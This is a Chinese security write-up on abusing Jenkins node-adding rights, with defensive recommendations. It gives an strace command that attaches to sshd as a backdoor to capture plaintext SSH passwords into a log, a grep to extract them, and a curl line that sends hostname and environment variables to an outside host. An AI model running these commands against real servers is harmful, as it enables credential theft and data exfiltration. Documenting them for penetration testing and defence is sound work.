Jenkins :添加node权限获取凭据、执行命令
字数 961 2025-08-10 13:48:22

Jenkins安全研究:通过添加Node节点获取凭据与执行命令

1. 概述

本文详细分析Jenkins系统中通过添加Node节点实现的两个安全相关操作:

  1. 获取明文凭据的技术
  2. 通过节点配置执行任意命令的方法

2. 环境前提

  • 拥有Jenkins agent权限的账号
  • Jenkins主站默认作为master节点
  • 能够添加新的node节点

3. 通过添加Node节点获取明文凭据

3.1 操作步骤

  1. 新建节点

    • 访问"Manage Nodes"功能
    • 创建新节点
  2. 配置节点参数

    • 填写工作目录
    • 选择"通过SSH进行远程节点身份认证"
    • 选择带有星号(*)标记的凭据
    • Host key验证选择"不进行验证"
  3. 设置监听

    • 在目标主机上设置SSH监听(示例使用strace后门):
    strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &
    
  4. 保存配置

    • 保存节点配置后,Jenkins会向目标主机发起SSH请求
  5. 获取凭据

    • 查看认证日志中的账号密码信息
    • 使用以下命令筛选密码(需自行判断起始位置):
    grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
    

3.2 技术要点

  • 利用SSH认证过程获取明文凭据
  • 需要提前在目标主机设置监听
  • 获取的密码需要人工判断有效部分

4. 通过添加节点执行命令

4.1 操作步骤

  1. 节点配置

    • 在添加节点时配置在master上执行的命令
    • 可用于其他节点认证或执行任意命令
  2. 命令执行限制

    • 不能直接使用反引号执行系统命令
    • 示例替代方案:
    curl -k ip:9090/`hostname`/`pwd`env
    
  3. 通过master执行命令

    • 在"Launch method"中选择"通过在master上执行命令的方式"
    • 保存配置并启动agent
  4. 查看执行结果

    • 在Log中查看命令输出(如env命令的环境变量输出)

4.2 技术要点

  • 利用节点配置中的命令执行功能
  • 需要绕过直接命令执行的限制
  • 执行结果可通过日志查看

5. 防御建议

  1. 权限控制

    • 严格限制拥有添加节点权限的账号
    • 实施最小权限原则
  2. 认证安全

    • 避免使用明文凭据
    • 启用Host key验证
  3. 日志监控

    • 监控异常节点添加行为
    • 审计命令执行日志
  4. 系统加固

    • 限制master节点的命令执行能力
    • 定期审查节点配置

6. 总结

本文详细介绍了两种利用Jenkins节点配置功能实现的安全操作技术,这些技术可用于渗透测试和安全评估,同时也强调了相关防御措施的重要性。安全团队应充分了解这些技术以更好地保护Jenkins环境。

Jenkins安全研究:通过添加Node节点获取凭据与执行命令 1. 概述 本文详细分析Jenkins系统中通过添加Node节点实现的两个安全相关操作: 获取明文凭据的技术 通过节点配置执行任意命令的方法 2. 环境前提 拥有Jenkins agent权限的账号 Jenkins主站默认作为master节点 能够添加新的node节点 3. 通过添加Node节点获取明文凭据 3.1 操作步骤 新建节点 : 访问"Manage Nodes"功能 创建新节点 配置节点参数 : 填写工作目录 选择"通过SSH进行远程节点身份认证" 选择带有星号(* )标记的凭据 Host key验证选择"不进行验证" 设置监听 : 在目标主机上设置SSH监听(示例使用strace后门): 保存配置 : 保存节点配置后,Jenkins会向目标主机发起SSH请求 获取凭据 : 查看认证日志中的账号密码信息 使用以下命令筛选密码(需自行判断起始位置): 3.2 技术要点 利用SSH认证过程获取明文凭据 需要提前在目标主机设置监听 获取的密码需要人工判断有效部分 4. 通过添加节点执行命令 4.1 操作步骤 节点配置 : 在添加节点时配置在master上执行的命令 可用于其他节点认证或执行任意命令 命令执行限制 : 不能直接使用反引号执行系统命令 示例替代方案: 通过master执行命令 : 在"Launch method"中选择"通过在master上执行命令的方式" 保存配置并启动agent 查看执行结果 : 在Log中查看命令输出(如env命令的环境变量输出) 4.2 技术要点 利用节点配置中的命令执行功能 需要绕过直接命令执行的限制 执行结果可通过日志查看 5. 防御建议 权限控制 : 严格限制拥有添加节点权限的账号 实施最小权限原则 认证安全 : 避免使用明文凭据 启用Host key验证 日志监控 : 监控异常节点添加行为 审计命令执行日志 系统加固 : 限制master节点的命令执行能力 定期审查节点配置 6. 总结 本文详细介绍了两种利用Jenkins节点配置功能实现的安全操作技术,这些技术可用于渗透测试和安全评估,同时也强调了相关防御措施的重要性。安全团队应充分了解这些技术以更好地保护Jenkins环境。